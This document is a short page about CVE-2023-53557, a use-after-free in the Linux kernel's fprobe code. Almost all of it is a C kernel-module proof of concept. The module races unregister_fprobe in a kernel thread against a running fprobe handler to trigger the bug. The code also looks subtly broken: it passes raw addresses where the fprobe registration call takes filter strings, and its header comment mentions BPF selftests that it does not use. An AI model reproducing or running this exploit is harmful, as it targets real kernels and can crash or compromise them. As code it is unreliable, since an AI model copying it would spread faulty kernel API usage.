CVE-2023-53557 Linux内核fprobe模块释放后使用漏洞

// PoC: Trigger CVE-2023-53557 via BPF selftests // This PoC triggers the use-after-free by racing fprobe unregister // with concurrent fprobe handler execution on another CPU. #include <linux/module.h> #include <linux/kernel.h> #include <linux/fprobe.h> #include <linux/delay.h> #include <linux/kthread.h> static unsigned long target_func_addr = 0; static struct fprobe fp; static int fprobe_entry_handler(struct fprobe *fp, unsigned long entry_ip, unsigned long ret_ip, void *data) { // Simulate work that keeps the handler running // while another thread tries to unregister mdelay(10); return 0; } static int unregister_thread(void *data) { // Race: unregister while handlers may still be running unregister_fprobe(&fp); return 0; } static int __init trigger_uaf_init(void) { int ret; // Initialize fprobe on a target function fp.entry_handler = fprobe_entry_handler; ret = register_fprobe(&fp, (unsigned long)__builtin_return_address(0), (unsigned long)__builtin_return_address(0) + 0x100); if (ret < 0) return ret; // Spawn thread to unregister concurrently kthread_run(unregister_thread, NULL, "fprobe_unreg"); return 0; } static void __exit trigger_uaf_exit(void) { // Cleanup } module_init(trigger_uaf_init); module_exit(trigger_uaf_exit); MODULE_LICENSE("GPL");